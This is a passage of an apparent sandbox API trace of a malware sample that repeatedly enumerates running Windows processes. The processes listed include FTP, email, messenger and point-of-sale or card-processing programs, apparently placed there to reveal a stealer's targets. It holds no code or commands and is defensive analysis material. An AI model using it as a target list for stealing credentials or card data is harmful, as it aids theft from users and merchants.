hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0283.332] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0283.334] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0283.336] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0283.338] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0283.340] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0283.342] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0283.345] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0283.347] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0283.349] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0283.351] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0283.354] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0283.356] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0283.417] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0283.420] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0283.422] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0283.424] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0283.426] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0283.428] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0283.430] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0283.444] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0283.447] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0283.449] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0283.489] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0283.492] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0283.494] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0283.496] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0283.498] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0283.500] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0283.502] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0283.504] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0283.510] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0283.512] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0283.515] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0283.517] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0283.519] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0283.521] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0283.524] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0283.526] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0283.528] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0283.531] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0283.533] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0283.535] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0283.537] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.539] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0283.541] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0283.543] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0283.545] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0283.547] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0283.549] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0283.551] CloseHandle (hObject=0xa10) returned 1 [0283.551] Sleep (dwMilliseconds=0x64) [0283.553] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0283.571] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.574] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0283.577] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0283.579] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.582] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0283.585] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.588] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0283.590] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0283.592] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0283.594] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.596] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.598] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0283.631] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.633] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.635] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.639] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.641] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.643] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.645] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.647] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0283.649] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0283.651] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0283.653] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.655] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0283.657] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0283.659] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0283.662] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0283.664] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0283.665] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0283.667] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0283.670] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.672] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.674] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, 